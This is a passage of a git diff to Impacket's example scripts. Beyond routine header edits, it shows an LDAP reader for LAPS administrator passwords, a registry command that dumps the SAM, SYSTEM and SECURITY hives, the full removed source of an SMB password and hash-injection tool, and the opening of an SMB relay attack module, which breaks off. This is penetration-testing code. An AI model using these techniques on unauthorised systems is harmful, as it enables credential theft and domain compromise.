ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, kdcHost=self.__kdcIP) - else: - if str(e).find('NTLMAuthNegotiate') >= 0: - logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " - "authentication instead.") - else: - if self.__kdcIP is not None and self.__kdcHost is not None: - logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " - "must match exactly each other.") - raise - - logging.info('Querying %s for information about domain.' % self.__target) - # Print header - print((self.__outputFormat.format(*self.__header))) - print((' '.join(['-' * itemLen for itemLen in self.__colLen]))) - - # Building the search filter - if(self.__targetComputer): - searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=' + self.__targetComputer + '))' - else: - searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*))' - try: - logging.debug('Search Filter=%s' % searchFilter) - sc = ldap.SimplePagedResultsControl(size=100) - - ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName','dNSHostName','ms-MCS-AdmPwd','ms-Mcs-AdmPwdExpirationTime'],sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord) - #result = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'cn'],sizeLimit=0, searchControls = [sc]) - #print (result) - - except ldap.LDAPSearchError: - raise - - ldapConnection.close() - -# Process command-line arguments. -if __name__ == '__main__': - print((version.BANNER)) - - parser = argparse.ArgumentParser(add_help = True, description = "Queries computer in the domain to read LAPS.") - - parser.add_argument('target', action='store', help='domain[/username[:password]]') - parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-targetComputer', action='store', metavar='SamAccountName of target computer', help='Specify the target computer samAccountName including the character $') - - group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials ' - 'cannot be found, it will use the ones specified in the command ' - 'line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - - group = parser.add_argument_group('connection') - group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) ' - 'specified in the target parameter') - group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' - 'If ommited, the domain part (FQDN) ' - 'specified in the account parameter will be used') - - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - - # Init the example's logger theme - logger.init(options.ts) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - domain, username, password = parse_credentials(options.target) - - if domain == '': - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - try: - executer = readLAPS(username, password, domain, options) - executer.run() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(str(e)) diff --git a/examples/reg.py b/examples/reg.py index 8af3080425..ced696373c 100755 --- a/examples/reg.py +++ b/examples/reg.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -190,7 +192,7 @@ def run(self, remoteName, remoteHost): elif self.__action == 'SAVE': self.save(dce, self.__options.keyName) elif self.__action == 'BACKUP': - for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]: + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: self.save(dce, hive) else: logging.error('Method %s not implemented yet!' % self.__action) @@ -215,8 +217,8 @@ def triggerWinReg(self): def save(self, dce, keyName): hRootKey, subKey = self.__strip_root_key(dce, keyName) - outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey) - logging.debug("Dumping %s, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)" % keyName) + outputFileName = "%s\\%s.save" % (self.__options.outputPath, subKey) + logging.debug("Dumping %s, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)" % keyName) try: ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) rrp.hBaseRegSaveKey(dce, ans2['phkResult'], outputFileName) @@ -291,29 +293,36 @@ def add(self, dce, keyName): raise Exception('Error parsing value type %s' % self.__options.vt) #Fix (?) for packValue function - if dwType in ( - rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN, - rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN - ): - valueData = int(self.__options.vd) - elif dwType == rrp.REG_BINARY: - bin_value_len = len(self.__options.vd) - bin_value_len += (bin_value_len & 1) - valueData = binascii.a2b_hex(self.__options.vd.ljust(bin_value_len, '0')) + if dwType == rrp.REG_MULTI_SZ: + vd = '\0'.join(self.__options.vd) + valueData = vd + 2 * '\0' # REG_MULTI_SZ ends with 2 null-bytes + valueDataToPrint = vd.replace('\0', '\n\t\t') else: - valueData = self.__options.vd + vd = self.__options.vd[0] if len(self.__options.vd) > 0 else '' + if dwType in ( + rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN, + rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN + ): + valueData = int(vd) + elif dwType == rrp.REG_BINARY: + bin_value_len = len(vd) + bin_value_len += (bin_value_len & 1) + valueData = binascii.a2b_hex(vd.ljust(bin_value_len, '0')) + else: + valueData = vd + "\0" # Add a NULL Byte as terminator for Non Binary values + valueDataToPrint = valueData ans3 = rrp.hBaseRegSetValue( dce, ans2['phkResult'], self.__options.v, dwType, valueData ) if ans3['ErrorCode'] == 0: - print('Successfully set key %s\\%s of type %s to value %s' % ( - keyName, self.__options.v, self.__options.vt, valueData + print('Successfully set\n\tkey\t%s\\%s\n\ttype\t%s\n\tvalue\t%s' % ( + keyName, self.__options.v, self.__options.vt, valueDataToPrint )) else: - print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % ( - ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData + print('Error 0x%08x while setting\n\tkey\t%s\\%s\n\ttype\t%s\n\tvalue\t%s' % ( + ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueDataToPrint )) def delete(self, dce, keyName): @@ -554,13 +563,14 @@ def __parse_lp_data(valueType, valueData): 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCU, HKCR.') add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' - 'value name that is to be set.') + 'value name that is to be set. Set to "" to write the (Defualt) value') add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' 'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, ' 'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD', default='REG_SZ') - add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry ' - 'value data that is to be set.', default='') + add_parser.add_argument('-vd', action='append', metavar="VALUEDATA", required=False, help='Specifies the registry ' + 'value data that is to be set. In case of adding a REG_MULTI_SZ value, set this option once for each ' + 'line you want to add.', default=[]) # An delete command delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') @@ -584,11 +594,11 @@ def __parse_lp_data(valueType, valueData): help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCU, HKCR.') - save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to') + save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\\share', required=True, help='Output UNC path the target system must export the registry saves to') # A special backup command to save HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY - backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY to a specified file.') - backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, + backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\\SAM, HKLM\\SYSTEM and HKLM\\SECURITY to a specified file.') + backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\\share', required=True, help='Output UNC path the target system must export the registry saves to') # A load command diff --git a/examples/registry-read.py b/examples/registry-read.py index 3ecfb0aba5..4b5656199d 100755 --- a/examples/registry-read.py +++ b/examples/registry-read.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -87,7 +89,7 @@ def enumValues(reg, searchKey): for value in values: print(" %-30s: " % value, end=' ') - data = reg.getValue('%s\\%s'%(searchKey,value.decode('utf-8'))) + data = reg.getValue(searchKey, value.decode('utf-8')) # Special case for binary string.. so it looks better formatted if data[0] == winregistry.REG_BINARY: print('') diff --git a/examples/rpcdump.py b/examples/rpcdump.py index 59ed549efc..7564181549 100755 --- a/examples/rpcdump.py +++ b/examples/rpcdump.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/rpcmap.py b/examples/rpcmap.py index 4e08353852..652ce7ce0d 100755 --- a/examples/rpcmap.py +++ b/examples/rpcmap.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/sambaPipe.py b/examples/sambaPipe.py index 3f1c1838ea..12db866dd4 100755 --- a/examples/sambaPipe.py +++ b/examples/sambaPipe.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/samrdump.py b/examples/samrdump.py index 04e76d164b..b4eed5aaed 100755 --- a/examples/samrdump.py +++ b/examples/samrdump.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -89,7 +91,7 @@ def dump(self, remoteName, remoteHost): # Display results. if self.__csvOutput is True: - print('#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath') + print('#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,AdminComment,UserComment,ScriptPath') for entry in entries: (username, uid, user) = entry @@ -110,13 +112,14 @@ def dump(self, remoteName, remoteHost): accountDisabled = 'False' if self.__csvOutput is True: - print('%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'], + print('%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'], user['BadPasswordCount'], user['LogonCount'],pwdLastSet, - dontExpire, accountDisabled, user['UserComment'].replace(',','.'), + dontExpire, accountDisabled, user['UserComment'].replace(',','.'),user['AdminComment'].replace(',','.'), user['ScriptPath'] )) else: base = "%s (%d)" % (username, uid) print(base + '/FullName:', user['FullName']) + print(base + '/AdminComment:', user['AdminComment']) print(base + '/UserComment:', user['UserComment']) print(base + '/PrimaryGroupId:', user['PrimaryGroupId']) print(base + '/BadPasswordCount:', user['BadPasswordCount']) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index b278fb2ca4..1ab5616ed1 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/services.py b/examples/services.py index 1cadf808ff..7515c43532 100755 --- a/examples/services.py +++ b/examples/services.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/smbclient.py b/examples/smbclient.py index 0d27711f07..823a125bca 100755 --- a/examples/smbclient.py +++ b/examples/smbclient.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/smbexec.py b/examples/smbexec.py index 09beee8ef2..4985e94864 100755 --- a/examples/smbexec.py +++ b/examples/smbexec.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -9,7 +11,7 @@ # # Description: # A similar approach to psexec w/o using RemComSvc. The technique is described here -# https://www.optiv.com/blog/owning-computers-without-shell-access +# https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access # Our implementation goes one step further, instantiating a local smbserver to receive the # output of the commands. This is useful in the situation where the target machine does NOT # have a writeable share available. @@ -66,10 +68,6 @@ def __init__(self): def cleanup_server(self): logging.info('Cleaning up..') - try: - os.unlink(SMBSERVER_DIR + '/smb.log') - except OSError: - pass os.rmdir(SMBSERVER_DIR) def run(self): @@ -79,7 +77,7 @@ def run(self): smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') - smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') + smbConfig.set('global','log_file','None') smbConfig.set('global','credentials_file','') # Let's add a dummy share diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py deleted file mode 100755 index 9884da4ad2..0000000000 --- a/examples/smbpasswd.py +++ /dev/null @@ -1,282 +0,0 @@ -#!/usr/bin/env python -# Impacket - Collection of Python classes for working with network protocols. -# -# Copyright (C) 2023 Fortra. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# This script is an alternative to smbpasswd tool and intended to be used -# for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the -# password change when the current password is expired, and supports NTLM -# hashes as a new password value instead of a plaintext value. As for the -# latter approach the new password is flagged as expired after the change -# due to how SamrChangePasswordUser function works. -# -# Examples: -# smbpasswd.py j.doe@192.168.1.11 -# smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 -# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' -# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin -# smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab -# -# Author: -# @snovvcrash -# @bransh -# @alefburzmali -# -# References: -# https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html -# https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/ -# https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c -# https://github.com/fortra/impacket/pull/381 -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce -# - -import sys -import logging -from getpass import getpass -from argparse import ArgumentParser - -from impacket import version -from impacket.examples import logger -from impacket.examples.utils import parse_target -from impacket.dcerpc.v5 import transport, samr - - -class SMBPasswd: - - def __init__(self, address, domain='', username='', oldPassword='', newPassword='', oldPwdHashLM='', oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''): - self.address = address - self.domain = domain - self.username = username - self.oldPassword = oldPassword - self.newPassword = newPassword - self.oldPwdHashLM = oldPwdHashLM - self.oldPwdHashNT = oldPwdHashNT - self.newPwdHashLM = newPwdHashLM - self.newPwdHashNT = newPwdHashNT - self.dce = None - - def connect(self, domain='', username='', password='', nthash='', anonymous=False): - rpctransport = transport.SMBTransport(self.address, filename=r'\samr') - if anonymous: - rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') - elif username != '': - lmhash = '' - rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey='') - else: - rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='') - - self.dce = rpctransport.get_dce_rpc() - self.dce.connect() - self.dce.bind(samr.MSRPC_UUID_SAMR) - - def hSamrUnicodeChangePasswordUser2(self): - try: - resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT) - except Exception as e: - if 'STATUS_PASSWORD_RESTRICTION' in str(e): - logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.') - else: - raise e - else: - if resp['ErrorCode'] == 0: - logging.info('Password was changed successfully.') - else: - logging.error('Non-zero return code, something weird happened.') - resp.dump() - - def hSamrChangePasswordUser(self): - try: - serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] - domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] - domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] - userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] - userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] - except Exception as e: - if 'STATUS_NO_SUCH_DOMAIN' in str(e): - logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') - return - else: - raise e - - try: - resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT, - newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT) - except Exception as e: - if 'STATUS_PASSWORD_RESTRICTION' in str(e): - logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.') - else: - raise e - else: - if resp['ErrorCode'] == 0: - logging.info('NTLM hashes were changed successfully.') - else: - logging.error('Non-zero return code, something weird happened.') - resp.dump() - - def hSamrSetInformationUser(self): - try: - serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] - domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] - domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] - userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] - userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] - except Exception as e: - if 'STATUS_NO_SUCH_DOMAIN' in str(e): - logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') - return - else: - raise e - try: - resp = samr.hSamrSetNTInternal1(self.dce, userHandle, self.newPassword, self.newPwdHashNT) - except Exception as e: - raise e - else: - if resp['ErrorCode'] == 0: - logging.info('Credentials were injected into SAM successfully.') - else: - logging.error('Non-zero return code, something weird happened.') - resp.dump() - - -def init_logger(options): - logger.init(options.ts) - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - -def parse_args(): - parser = ArgumentParser(description='Change password over SMB.') - - parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON') - - group = parser.add_mutually_exclusive_group() - group.add_argument('-newpass', action='store', default=None, help='new SMB password') - group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH ' - '(the user will be asked to change their password at next logon)') - - group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') - - group = parser.add_argument_group('RPC authentication') - group.add_argument('-altuser', action='store', default=None, help='alternative username') - group.add_argument('-altpass', action='store', default=None, help='alternative password') - group.add_argument('-althash', action='store', default=None, help='alternative NT hash') - - group = parser.add_argument_group('set credentials method') - group.add_argument('-admin', action='store_true', help='injects credentials into SAM (requires admin\'s priveleges on a machine, ' - 'but can bypass password history policy)') - - return parser.parse_args() - - -if __name__ == '__main__': - print(version.BANNER) - print(version.WARNING_BANNER) - - options = parse_args() - init_logger(options) - - domain, username, oldPassword, address = parse_target(options.target) - - if domain is None: - domain = 'Builtin' - - if options.hashes is not None: - try: - oldPwdHashLM, oldPwdHashNT = options.hashes.split(':') - except ValueError: - logging.critical('Wrong hashes string format. For more information run with --help option.') - sys.exit(1) - else: - oldPwdHashLM = '' - oldPwdHashNT = '' - - if oldPassword == '' and oldPwdHashNT == '' and not options.admin: - oldPassword = getpass('Current SMB password: ') - - if options.newhashes is not None: - try: - newPwdHashLM, newPwdHashNT = options.newhashes.split(':') - except ValueError: - logging.critical('Wrong new hashes string format. For more information run with --help option.') - sys.exit(1) - newPassword = '' - else: - newPwdHashLM = '' - newPwdHashNT = '' - if options.newpass is None: - newPassword = getpass('New SMB password: ') - if newPassword != getpass('Retype new SMB password: '): - logging.critical('Passwords do not match, try again.') - sys.exit(1) - else: - newPassword = options.newpass - - smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT) - - if options.altuser is not None: - try: - altDomain, altUsername = options.altuser.split('/') - except ValueError: - altDomain = domain - altUsername = options.altuser - - if options.altpass is not None and options.althash is None: - altPassword = options.altpass - altNTHash = '' - elif options.altpass is None and options.althash is not None: - altPassword = '' - altNTHash = options.althash - elif options.altpass is None and options.althash is None: - logging.critical('Please, provide either alternative password or NT hash for RPC authentication.') - sys.exit(1) - else: # if options.altpass is not None and options.althash is not None - logging.critical('Argument -altpass not allowed with argument -althash.') - sys.exit(1) - else: - altUsername = '' - - try: - if altUsername == '': - smbpasswd.connect() - else: - logging.debug('Using {}\\{} credentials to connect to RPC.'.format(altDomain, altUsername)) - smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash) - except Exception as e: - if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): - if newPassword: - logging.warning('Password is expired, trying to bind with a null session.') - smbpasswd.connect(anonymous=True) - else: - logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.') - sys.exit(1) - elif 'STATUS_LOGON_FAILURE' in str(e): - logging.critical('Authentication failure.') - sys.exit(1) - else: - raise e - - if options.admin: - # Inject credentials into SAM (requires admin's privileges) - smbpasswd.hSamrSetInformationUser() - else: - if newPassword: - # If using a plaintext value for the new password - smbpasswd.hSamrUnicodeChangePasswordUser2() - else: - # If using NTLM hashes for the new password - smbpasswd.hSamrChangePasswordUser() diff --git a/examples/smbrelayx.py b/examples/smbrelayx.py deleted file mode 100755 index cc31b65faf..0000000000 --- a/examples/smbrelayx.py +++ /dev/null @@ -1,1222 +0,0 @@ -#!/usr/bin/env python -# Impacket - Collection of Python classes for working with network protocols. -# -# Copyright (C) 2023 Fortra. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# SMB Relay Module -# This module performs the SMB Relay attacks originally discovered -# by cDc. It receives a list of targets and for every connection received it -# will choose the next target and try to relay the credentials. Also, if -# specified, it will first to try authenticate against the client connecting -# to us. -# -# It is implemented by invoking a SMB and HTTP Server, hooking to a few -# functions and then using the smbclient portion. It is supposed to be -# working on any LM Compatibility level. The only way to stop this attack -# is to enforce on the server SPN checks and or signing. -# -# If the target system is enforcing signing and a machine account was provided, -# the module will try to gather the SMB session key through -# NETLOGON (CVE-2015-0005). -# -# If the authentication against the targets succeed, the client authentication -# success as well and a valid connection is set against the local smbserver. -# It's up to the user to set up the local smbserver functionality. One option -# is to set up shares with whatever files you want to the victim thinks it's -# connected to a valid SMB server. All that is done through the smb.conf file or -# programmatically. -# -# Author: -# Alberto Solino (@agsolino) -# - -from __future__ import division -from __future__ import print_function -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser -import http.server -import socketserver -import argparse -import base64 -import logging -import os -import sys -try: - from urllib.parse import urlparse -except ImportError: - from urlparse import urlparse -from binascii import unhexlify, hexlify -from struct import pack, unpack -from threading import Thread -from six import PY2 - -from impacket import version -from impacket.dcerpc.v5 import nrpc -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5.ndr import NULL -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.examples import logger -from impacket.examples import serviceinstall -from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS -from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient -from impacket.nt_errors import ERROR_MESSAGES -from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ - STATUS_MORE_PROCESSING_REQUIRED -from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ - NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey -from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ - SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ - SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ - SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data -from impacket.smb3 import SMB3 -from impacket.smbconnection import SMBConnection -from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER -from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit - -try: - from Cryptodome.Cipher import DES, AES, ARC4 -except Exception: - logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") - logging.critical("See https://pypi.org/project/pycryptodomex/") - -# Global Variables -# This is the list of hosts that have been attacked already in case -one-shot was chosen -ATTACKED_HOSTS = set() -CODEC = sys.getdefaultencoding() - -class doAttack(Thread): - def __init__(self, SMBClient, exeFile, command): - Thread.__init__(self) - - if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): - self.__SMBConnection = SMBConnection(existingConnection = SMBClient) - else: - self.__SMBConnection = SMBClient - - self.__exeFile = exeFile - self.__command = command - self.__answerTMP = b'' - if exeFile is not None: - self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) - - def __answer(self, data): - self.__answerTMP += data - - def run(self): - # Here PUT YOUR CODE! - global 